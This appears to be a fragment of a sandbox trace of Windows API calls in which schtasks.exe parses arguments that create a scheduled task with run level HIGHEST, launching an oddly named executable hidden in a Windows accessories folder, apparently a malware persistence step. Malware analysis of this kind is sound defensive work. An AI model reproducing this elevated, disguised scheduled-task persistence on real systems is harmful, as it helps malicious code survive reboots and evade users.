(lpStart=" \x09", wMatch=0x6f) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0162.605] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0162.605] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0162.606] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0162.606] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0162.607] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0162.607] GetLastError () returned 0x0 [0162.607] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.607] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.607] SetLastError (dwErrCode=0x0) [0162.607] SetLastError (dwErrCode=0x0) [0162.607] lstrlenW (lpString="/rl") returned 3 [0162.607] lstrlenW (lpString="-/") returned 2 [0162.607] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.607] lstrlenW (lpString="create") returned 6 [0162.608] lstrlenW (lpString="create") returned 6 [0162.608] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.608] lstrlenW (lpString="rl") returned 2 [0162.608] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.608] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|create|") returned 8 [0162.608] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.608] lstrlenW (lpString="|create|") returned 8 [0162.608] lstrlenW (lpString="|rl|") returned 4 [0162.608] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0162.608] SetLastError (dwErrCode=0x490) [0162.608] lstrlenW (lpString="?") returned 1 [0162.608] lstrlenW (lpString="?") returned 1 [0162.608] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.608] lstrlenW (lpString="rl") returned 2 [0162.608] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.608] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|?|") returned 3 [0162.608] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.608] lstrlenW (lpString="|?|") returned 3 [0162.608] lstrlenW (lpString="|rl|") returned 4 [0162.608] SetLastError (dwErrCode=0x490) [0162.608] lstrlenW (lpString="s") returned 1 [0162.608] lstrlenW (lpString="s") returned 1 [0162.608] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.608] lstrlenW (lpString="rl") returned 2 [0162.608] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.608] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|s|") returned 3 [0162.609] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.609] lstrlenW (lpString="|s|") returned 3 [0162.609] lstrlenW (lpString="|rl|") returned 4 [0162.609] SetLastError (dwErrCode=0x490) [0162.609] lstrlenW (lpString="u") returned 1 [0162.609] lstrlenW (lpString="u") returned 1 [0162.609] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.609] lstrlenW (lpString="rl") returned 2 [0162.609] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.609] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|u|") returned 3 [0162.609] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.609] lstrlenW (lpString="|u|") returned 3 [0162.609] lstrlenW (lpString="|rl|") returned 4 [0162.609] SetLastError (dwErrCode=0x490) [0162.609] lstrlenW (lpString="p") returned 1 [0162.609] lstrlenW (lpString="p") returned 1 [0162.609] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.609] lstrlenW (lpString="rl") returned 2 [0162.609] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.609] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|p|") returned 3 [0162.609] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.609] lstrlenW (lpString="|p|") returned 3 [0162.609] lstrlenW (lpString="|rl|") returned 4 [0162.609] SetLastError (dwErrCode=0x490) [0162.609] lstrlenW (lpString="ru") returned 2 [0162.609] lstrlenW (lpString="ru") returned 2 [0162.609] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.610] lstrlenW (lpString="rl") returned 2 [0162.610] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.610] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ru|") returned 4 [0162.610] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.610] lstrlenW (lpString="|ru|") returned 4 [0162.610] lstrlenW (lpString="|rl|") returned 4 [0162.610] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0162.610] SetLastError (dwErrCode=0x490) [0162.610] lstrlenW (lpString="rp") returned 2 [0162.610] lstrlenW (lpString="rp") returned 2 [0162.610] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.610] lstrlenW (lpString="rl") returned 2 [0162.610] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.610] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rp|") returned 4 [0162.610] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.610] lstrlenW (lpString="|rp|") returned 4 [0162.610] lstrlenW (lpString="|rl|") returned 4 [0162.610] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0162.610] SetLastError (dwErrCode=0x490) [0162.610] lstrlenW (lpString="sc") returned 2 [0162.610] lstrlenW (lpString="sc") returned 2 [0162.610] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.610] lstrlenW (lpString="rl") returned 2 [0162.610] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.610] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.610] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.611] lstrlenW (lpString="|sc|") returned 4 [0162.611] lstrlenW (lpString="|rl|") returned 4 [0162.611] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0162.611] SetLastError (dwErrCode=0x490) [0162.611] lstrlenW (lpString="mo") returned 2 [0162.611] lstrlenW (lpString="mo") returned 2 [0162.611] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.611] lstrlenW (lpString="rl") returned 2 [0162.611] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.611] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.611] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.611] lstrlenW (lpString="|mo|") returned 4 [0162.611] lstrlenW (lpString="|rl|") returned 4 [0162.611] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0162.611] SetLastError (dwErrCode=0x490) [0162.611] lstrlenW (lpString="d") returned 1 [0162.611] lstrlenW (lpString="d") returned 1 [0162.611] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.611] lstrlenW (lpString="rl") returned 2 [0162.611] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.611] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|d|") returned 3 [0162.611] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.611] lstrlenW (lpString="|d|") returned 3 [0162.611] lstrlenW (lpString="|rl|") returned 4 [0162.611] SetLastError (dwErrCode=0x490) [0162.611] lstrlenW (lpString="m") returned 1 [0162.611] lstrlenW (lpString="m") returned 1 [0162.612] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.612] lstrlenW (lpString="rl") returned 2 [0162.612] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.612] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|m|") returned 3 [0162.612] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.612] lstrlenW (lpString="|m|") returned 3 [0162.612] lstrlenW (lpString="|rl|") returned 4 [0162.612] SetLastError (dwErrCode=0x490) [0162.612] lstrlenW (lpString="i") returned 1 [0162.612] lstrlenW (lpString="i") returned 1 [0162.612] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.612] lstrlenW (lpString="rl") returned 2 [0162.612] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.612] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|i|") returned 3 [0162.612] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.612] lstrlenW (lpString="|i|") returned 3 [0162.612] lstrlenW (lpString="|rl|") returned 4 [0162.612] SetLastError (dwErrCode=0x490) [0162.612] lstrlenW (lpString="tn") returned 2 [0162.612] lstrlenW (lpString="tn") returned 2 [0162.612] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.612] lstrlenW (lpString="rl") returned 2 [0162.612] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.612] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.612] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.612] lstrlenW (lpString="|tn|") returned 4 [0162.612] lstrlenW (lpString="|rl|") returned 4 [0162.612] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0162.613] SetLastError (dwErrCode=0x490) [0162.613] lstrlenW (lpString="tr") returned 2 [0162.613] lstrlenW (lpString="tr") returned 2 [0162.613] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.613] lstrlenW (lpString="rl") returned 2 [0162.613] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.613] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.613] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.613] lstrlenW (lpString="|tr|") returned 4 [0162.613] lstrlenW (lpString="|rl|") returned 4 [0162.613] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0162.613] SetLastError (dwErrCode=0x490) [0162.613] lstrlenW (lpString="st") returned 2 [0162.613] lstrlenW (lpString="st") returned 2 [0162.613] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.613] lstrlenW (lpString="rl") returned 2 [0162.613] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.613] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|st|") returned 4 [0162.613] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.613] lstrlenW (lpString="|st|") returned 4 [0162.613] lstrlenW (lpString="|rl|") returned 4 [0162.613] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0162.613] SetLastError (dwErrCode=0x490) [0162.613] lstrlenW (lpString="sd") returned 2 [0162.613] lstrlenW (lpString="sd") returned 2 [0162.613] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.613] lstrlenW (lpString="rl") returned 2 [0162.613] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.614] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sd|") returned 4 [0162.614] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.614] lstrlenW (lpString="|sd|") returned 4 [0162.614] lstrlenW (lpString="|rl|") returned 4 [0162.614] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0162.614] SetLastError (dwErrCode=0x490) [0162.614] lstrlenW (lpString="ed") returned 2 [0162.614] lstrlenW (lpString="ed") returned 2 [0162.614] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.614] lstrlenW (lpString="rl") returned 2 [0162.614] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.614] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ed|") returned 4 [0162.614] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.614] lstrlenW (lpString="|ed|") returned 4 [0162.614] lstrlenW (lpString="|rl|") returned 4 [0162.614] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0162.614] SetLastError (dwErrCode=0x490) [0162.614] lstrlenW (lpString="it") returned 2 [0162.614] lstrlenW (lpString="it") returned 2 [0162.614] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.614] lstrlenW (lpString="rl") returned 2 [0162.614] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.614] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|it|") returned 4 [0162.614] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.614] lstrlenW (lpString="|it|") returned 4 [0162.614] lstrlenW (lpString="|rl|") returned 4 [0162.614] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0162.614] SetLastError (dwErrCode=0x490) [0162.614] lstrlenW (lpString="et") returned 2 [0162.615] lstrlenW (lpString="et") returned 2 [0162.615] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.615] lstrlenW (lpString="rl") returned 2 [0162.615] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.615] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|et|") returned 4 [0162.615] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.615] lstrlenW (lpString="|et|") returned 4 [0162.615] lstrlenW (lpString="|rl|") returned 4 [0162.615] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0162.615] SetLastError (dwErrCode=0x490) [0162.615] lstrlenW (lpString="k") returned 1 [0162.615] lstrlenW (lpString="k") returned 1 [0162.615] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.615] lstrlenW (lpString="rl") returned 2 [0162.615] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.615] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|k|") returned 3 [0162.615] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.615] lstrlenW (lpString="|k|") returned 3 [0162.615] lstrlenW (lpString="|rl|") returned 4 [0162.615] SetLastError (dwErrCode=0x490) [0162.615] lstrlenW (lpString="du") returned 2 [0162.615] lstrlenW (lpString="du") returned 2 [0162.615] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.615] lstrlenW (lpString="rl") returned 2 [0162.615] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.615] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|du|") returned 4 [0162.615] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.616] lstrlenW (lpString="|du|") returned 4 [0162.616] lstrlenW (lpString="|rl|") returned 4 [0162.616] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0162.616] SetLastError (dwErrCode=0x490) [0162.616] lstrlenW (lpString="ri") returned 2 [0162.616] lstrlenW (lpString="ri") returned 2 [0162.616] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.616] lstrlenW (lpString="rl") returned 2 [0162.616] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.616] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ri|") returned 4 [0162.616] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.616] lstrlenW (lpString="|ri|") returned 4 [0162.616] lstrlenW (lpString="|rl|") returned 4 [0162.616] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0162.616] SetLastError (dwErrCode=0x490) [0162.616] lstrlenW (lpString="z") returned 1 [0162.616] lstrlenW (lpString="z") returned 1 [0162.616] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.616] lstrlenW (lpString="rl") returned 2 [0162.616] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.616] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|z|") returned 3 [0162.616] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.616] lstrlenW (lpString="|z|") returned 3 [0162.616] lstrlenW (lpString="|rl|") returned 4 [0162.616] SetLastError (dwErrCode=0x490) [0162.616] lstrlenW (lpString="f") returned 1 [0162.616] lstrlenW (lpString="f") returned 1 [0162.616] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.616] lstrlenW (lpString="rl") returned 2 [0162.616] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.617] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.617] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.617] lstrlenW (lpString="|f|") returned 3 [0162.617] lstrlenW (lpString="|rl|") returned 4 [0162.617] SetLastError (dwErrCode=0x490) [0162.617] lstrlenW (lpString="v1") returned 2 [0162.617] lstrlenW (lpString="v1") returned 2 [0162.617] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.617] lstrlenW (lpString="rl") returned 2 [0162.617] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.617] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|v1|") returned 4 [0162.617] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.617] lstrlenW (lpString="|v1|") returned 4 [0162.617] lstrlenW (lpString="|rl|") returned 4 [0162.617] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0162.617] SetLastError (dwErrCode=0x490) [0162.617] lstrlenW (lpString="xml") returned 3 [0162.617] lstrlenW (lpString="xml") returned 3 [0162.617] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.617] lstrlenW (lpString="rl") returned 2 [0162.617] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.617] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|xml|") returned 5 [0162.617] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.617] lstrlenW (lpString="|xml|") returned 5 [0162.617] lstrlenW (lpString="|rl|") returned 4 [0162.617] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0162.617] SetLastError (dwErrCode=0x490) [0162.617] lstrlenW (lpString="ec") returned 2 [0162.617] lstrlenW (lpString="ec") returned 2 [0162.617] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.618] lstrlenW (lpString="rl") returned 2 [0162.618] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.618] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ec|") returned 4 [0162.618] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.618] lstrlenW (lpString="|ec|") returned 4 [0162.618] lstrlenW (lpString="|rl|") returned 4 [0162.618] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0162.618] SetLastError (dwErrCode=0x490) [0162.618] lstrlenW (lpString="rl") returned 2 [0162.618] lstrlenW (lpString="rl") returned 2 [0162.618] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.618] lstrlenW (lpString="rl") returned 2 [0162.618] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.618] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.618] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rl|") returned 4 [0162.618] lstrlenW (lpString="|rl|") returned 4 [0162.618] lstrlenW (lpString="|rl|") returned 4 [0162.618] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0162.618] SetLastError (dwErrCode=0x0) [0162.618] SetLastError (dwErrCode=0x0) [0162.618] lstrlenW (lpString="HIGHEST") returned 7 [0162.618] lstrlenW (lpString="-/") returned 2 [0162.618] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0162.618] SetLastError (dwErrCode=0x490) [0162.618] SetLastError (dwErrCode=0x490) [0162.618] 